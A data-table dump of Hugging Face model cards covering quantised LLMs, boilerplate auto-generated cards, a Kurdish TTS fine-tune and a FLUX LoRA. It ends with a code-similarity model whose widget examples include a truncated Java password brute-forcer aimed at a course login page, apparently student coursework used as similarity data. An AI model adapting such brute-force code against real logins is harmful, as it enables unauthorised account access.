modelId
string | author
string | last_modified
timestamp[us, tz=UTC] | downloads
int64 | likes
int64 | library_name
string | tags
list | pipeline_tag
string | createdAt
timestamp[us, tz=UTC] | card
string |
|---|---|---|---|---|---|---|---|---|---|
mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF
|
mradermacher
| 2025-09-23T17:18:51Z | 0 | 0 |
transformers
|
[
"transformers",
"gguf",
"llama-factory",
"full",
"generated_from_trainer",
"en",
"base_model:AmberYifan/qwen2.5-0.5b-instruct-alpaca-sft",
"base_model:quantized:AmberYifan/qwen2.5-0.5b-instruct-alpaca-sft",
"license:apache-2.0",
"endpoints_compatible",
"region:us",
"conversational"
] | null | 2025-09-23T17:15:25Z |
---
base_model: AmberYifan/qwen2.5-0.5b-instruct-alpaca-sft
language:
- en
library_name: transformers
license: apache-2.0
mradermacher:
readme_rev: 1
quantized_by: mradermacher
tags:
- llama-factory
- full
- generated_from_trainer
---
## About
<!-- ### quantize_version: 2 -->
<!-- ### output_tensor_quantised: 1 -->
<!-- ### convert_type: hf -->
<!-- ### vocab_type: -->
<!-- ### tags: -->
<!-- ### quants: x-f16 Q4_K_S Q2_K Q8_0 Q6_K Q3_K_M Q3_K_S Q3_K_L Q4_K_M Q5_K_S Q5_K_M IQ4_XS -->
<!-- ### quants_skip: -->
<!-- ### skip_mmproj: -->
static quants of https://huggingface.co/AmberYifan/qwen2.5-0.5b-instruct-alpaca-sft
<!-- provided-files -->
***For a convenient overview and download list, visit our [model page for this model](https://hf.tst.eu/model#qwen2.5-0.5b-instruct-alpaca-sft-GGUF).***
weighted/imatrix quants seem not to be available (by me) at this time. If they do not show up a week or so after the static ones, I have probably not planned for them. Feel free to request them by opening a Community Discussion.
## Usage
If you are unsure how to use GGUF files, refer to one of [TheBloke's
READMEs](https://huggingface.co/TheBloke/KafkaLM-70B-German-V0.1-GGUF) for
more details, including on how to concatenate multi-part files.
## Provided Quants
(sorted by size, not necessarily quality. IQ-quants are often preferable over similar sized non-IQ quants)
| Link | Type | Size/GB | Notes |
|:-----|:-----|--------:|:------|
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q3_K_S.gguf) | Q3_K_S | 0.4 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q2_K.gguf) | Q2_K | 0.4 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.IQ4_XS.gguf) | IQ4_XS | 0.5 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q3_K_M.gguf) | Q3_K_M | 0.5 | lower quality |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q3_K_L.gguf) | Q3_K_L | 0.5 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q4_K_S.gguf) | Q4_K_S | 0.5 | fast, recommended |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q4_K_M.gguf) | Q4_K_M | 0.5 | fast, recommended |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q5_K_S.gguf) | Q5_K_S | 0.5 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q5_K_M.gguf) | Q5_K_M | 0.5 | |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q6_K.gguf) | Q6_K | 0.6 | very good quality |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.Q8_0.gguf) | Q8_0 | 0.6 | fast, best quality |
| [GGUF](https://huggingface.co/mradermacher/qwen2.5-0.5b-instruct-alpaca-sft-GGUF/resolve/main/qwen2.5-0.5b-instruct-alpaca-sft.f16.gguf) | f16 | 1.1 | 16 bpw, overkill |
Here is a handy graph by ikawrakow comparing some lower-quality quant
types (lower is better):
And here are Artefact2's thoughts on the matter:
https://gist.github.com/Artefact2/b5f810600771265fc1e39442288e8ec9
## FAQ / Model Request
See https://huggingface.co/mradermacher/model_requests for some answers to
questions you might have and/or if you want some other model quantized.
## Thanks
I thank my company, [nethype GmbH](https://www.nethype.de/), for letting
me use its servers and providing upgrades to my workstation to enable
this work in my free time.
<!-- end -->
|
krrrrk/lora-amazon-adapter
|
krrrrk
| 2025-09-23T17:17:29Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T17:17:18Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
lfhe/FLock-Arena-Task-15-Carbonia
|
lfhe
| 2025-09-23T17:17:24Z | 447 | 0 |
peft
|
[
"peft",
"safetensors",
"base_model:adapter:microsoft/Phi-4-mini-instruct",
"text-generation",
"arxiv:1910.09700",
"base_model:microsoft/Phi-4-mini-instruct",
"region:us"
] |
text-generation
| 2025-02-21T01:26:02Z |
---
base_model: microsoft/Phi-4-mini-instruct
library_name: peft
pipeline_tag: text-generation
tags:
- base_model:adapter:microsoft/Phi-4-mini-instruct
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
### Framework versions
- PEFT 0.17.1
|
thefirstgoku/23SEP_inter_v32_14
|
thefirstgoku
| 2025-09-23T17:17:20Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T17:16:42Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
epreep/summarization-finetuned
|
epreep
| 2025-09-23T17:17:05Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"t5",
"text2text-generation",
"generated_from_trainer",
"base_model:eenzeenee/t5-base-korean-summarization",
"base_model:finetune:eenzeenee/t5-base-korean-summarization",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T12:53:13Z |
---
library_name: transformers
base_model: eenzeenee/t5-base-korean-summarization
tags:
- generated_from_trainer
model-index:
- name: summarization-finetuned
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# summarization-finetuned
This model is a fine-tuned version of [eenzeenee/t5-base-korean-summarization](https://huggingface.co/eenzeenee/t5-base-korean-summarization) on the None dataset.
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 2e-05
- train_batch_size: 16
- eval_batch_size: 16
- seed: 42
- gradient_accumulation_steps: 2
- total_train_batch_size: 32
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- num_epochs: 3
### Training results
### Framework versions
- Transformers 4.56.2
- Pytorch 2.8.0+cu128
- Datasets 2.19.0
- Tokenizers 0.22.1
|
Capstone04/Bootstrapping
|
Capstone04
| 2025-09-23T17:13:51Z | 0 | 0 | null |
[
"asr",
"diarization",
"automatic-speech-recognition",
"en",
"region:us"
] |
automatic-speech-recognition
| 2025-09-19T04:24:40Z |
---
language: en
tags:
- asr
- diarization
pipeline_tag: automatic-speech-recognition
---
# ASR + Diarization Pipeline
This package provides an **Automatic Speech Recognition (ASR) + Speaker Diarization** pipeline using:
- [OpenAI Whisper](https://huggingface.co/openai/whisper-medium)
- [Pyannote diarization](https://huggingface.co/pyannote/speaker-diarization-3.1)
## Install
```bash
pip install git+https://huggingface.co/Capstone04/asr-diarization-pipeline
|
BootesVoid/cmfmu85j409elx0n0smfozmc1_cmfws4cz80gdcx0n05m6196k6
|
BootesVoid
| 2025-09-23T17:08:44Z | 0 | 0 |
diffusers
|
[
"diffusers",
"flux",
"lora",
"replicate",
"text-to-image",
"en",
"base_model:black-forest-labs/FLUX.1-dev",
"base_model:adapter:black-forest-labs/FLUX.1-dev",
"license:other",
"region:us"
] |
text-to-image
| 2025-09-23T17:08:42Z |
---
license: other
license_name: flux-1-dev-non-commercial-license
license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md
language:
- en
tags:
- flux
- diffusers
- lora
- replicate
base_model: "black-forest-labs/FLUX.1-dev"
pipeline_tag: text-to-image
# widget:
# - text: >-
# prompt
# output:
# url: https://...
instance_prompt: LIZZIE
---
# Cmfmu85J409Elx0N0Smfozmc1_Cmfws4Cz80Gdcx0N05M6196K6
<Gallery />
## About this LoRA
This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI.
It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train
## Trigger words
You should use `LIZZIE` to trigger the image generation.
## Run this LoRA with an API using Replicate
```py
import replicate
input = {
"prompt": "LIZZIE",
"lora_weights": "https://huggingface.co/BootesVoid/cmfmu85j409elx0n0smfozmc1_cmfws4cz80gdcx0n05m6196k6/resolve/main/lora.safetensors"
}
output = replicate.run(
"black-forest-labs/flux-dev-lora",
input=input
)
for index, item in enumerate(output):
with open(f"output_{index}.webp", "wb") as file:
file.write(item.read())
```
## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers)
```py
from diffusers import AutoPipelineForText2Image
import torch
pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda')
pipeline.load_lora_weights('BootesVoid/cmfmu85j409elx0n0smfozmc1_cmfws4cz80gdcx0n05m6196k6', weight_name='lora.safetensors')
image = pipeline('LIZZIE').images[0]
```
For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters)
## Training details
- Steps: 2500
- Learning rate: 9e-05
- LoRA rank: 16
## Contribute your own examples
You can use the [community tab](https://huggingface.co/BootesVoid/cmfmu85j409elx0n0smfozmc1_cmfws4cz80gdcx0n05m6196k6/discussions) to add images that show off what you’ve made with this LoRA.
|
CesarChaMal/jvm_troubleshooting_model
|
CesarChaMal
| 2025-09-23T17:08:34Z | 7 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gpt2",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-22T00:26:05Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
seywan1378/speecht5_tts_hataw_ckb
|
seywan1378
| 2025-09-23T17:08:22Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"speecht5",
"text-to-audio",
"generated_from_trainer",
"ckb",
"dataset:seywan1378/HatawTTSTest",
"base_model:microsoft/speecht5_tts",
"base_model:finetune:microsoft/speecht5_tts",
"license:mit",
"endpoints_compatible",
"region:us"
] |
text-to-audio
| 2025-09-23T17:08:10Z |
---
library_name: transformers
language:
- ckb
license: mit
base_model: microsoft/speecht5_tts
tags:
- generated_from_trainer
datasets:
- seywan1378/HatawTTSTest
model-index:
- name: SpeechT5 TTS Hataw
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# SpeechT5 TTS Hataw
This model is a fine-tuned version of [microsoft/speecht5_tts](https://huggingface.co/microsoft/speecht5_tts) on the HatawTest dataset.
It achieves the following results on the evaluation set:
- Loss: 0.3383
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0001
- train_batch_size: 24
- eval_batch_size: 8
- seed: 42
- gradient_accumulation_steps: 2
- total_train_batch_size: 48
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 500
- training_steps: 3000
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:-------:|:----:|:---------------:|
| 0.5462 | 0.8032 | 100 | 0.4542 |
| 0.4602 | 1.6024 | 200 | 0.4182 |
| 0.4331 | 2.4016 | 300 | 0.3895 |
| 0.4108 | 3.2008 | 400 | 0.3790 |
| 0.4083 | 4.0 | 500 | 0.3825 |
| 0.4227 | 4.8032 | 600 | 0.3674 |
| 0.3967 | 5.6024 | 700 | 0.3651 |
| 0.3972 | 6.4016 | 800 | 0.3588 |
| 0.3836 | 7.2008 | 900 | 0.3562 |
| 0.3753 | 8.0 | 1000 | 0.3625 |
| 0.3746 | 8.8032 | 1100 | 0.3549 |
| 0.3649 | 9.6024 | 1200 | 0.3455 |
| 0.3646 | 10.4016 | 1300 | 0.3458 |
| 0.3635 | 11.2008 | 1400 | 0.3457 |
| 0.3735 | 12.0 | 1500 | 0.3462 |
| 0.3671 | 12.8032 | 1600 | 0.3423 |
| 0.3686 | 13.6024 | 1700 | 0.3413 |
| 0.3665 | 14.4016 | 1800 | 0.3424 |
| 0.3568 | 15.2008 | 1900 | 0.3400 |
| 0.3596 | 16.0 | 2000 | 0.3378 |
| 0.353 | 16.8032 | 2100 | 0.3395 |
| 0.3469 | 17.6024 | 2200 | 0.3379 |
| 0.3506 | 18.4016 | 2300 | 0.3375 |
| 0.3532 | 19.2008 | 2400 | 0.3376 |
| 0.3488 | 20.0 | 2500 | 0.3365 |
| 0.3479 | 20.8032 | 2600 | 0.3373 |
| 0.3557 | 21.6024 | 2700 | 0.3377 |
| 0.3414 | 22.4016 | 2800 | 0.3385 |
| 0.3407 | 23.2008 | 2900 | 0.3368 |
| 0.3419 | 24.0 | 3000 | 0.3383 |
### Framework versions
- Transformers 4.56.1
- Pytorch 2.8.0+cu126
- Datasets 4.0.0
- Tokenizers 0.22.0
|
thefirstgoku/23SEP_inter_v32_12
|
thefirstgoku
| 2025-09-23T17:06:22Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T17:05:43Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
LandCruiser/omg21_2409_2
|
LandCruiser
| 2025-09-23T17:03:28Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T17:00:36Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs512-lr2e-05-split0.1
|
buelfhood
| 2025-09-23T17:02:55Z | 0 | 0 |
sentence-transformers
|
[
"sentence-transformers",
"safetensors",
"roberta",
"sentence-similarity",
"feature-extraction",
"dense",
"generated_from_trainer",
"dataset_size:38664",
"loss:CachedMultipleNegativesRankingLoss",
"dataset:buelfhood/SOCO_TRAIN_java",
"arxiv:1908.10084",
"arxiv:2101.06983",
"base_model:huggingface/CodeBERTa-small-v1",
"base_model:finetune:huggingface/CodeBERTa-small-v1",
"autotrain_compatible",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
sentence-similarity
| 2025-09-23T17:02:32Z |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:38664
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class sendMail\
\ {\n\npublic void sendMail(String mailServer, String recipient, String result)\
\ {\n try {\n Socket s = new Socket(mailServer, 25);\n BufferedReader\
\ in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO client\");\n\n send(in, out, \"MAIL FROM: <WatchDog@SecureECommerce.>\"\
);\n send(in, out, \"RCPT : \" + recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \");\n send(out, \"From: Admin <WatchDog@SecureECommerce.>\"\
);\n send (out, \"\\n\");\n \n send(out, result);\n send(out,\
\ \"\\n.\\n\");\n send(in, out, \"QUIT\");\n\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
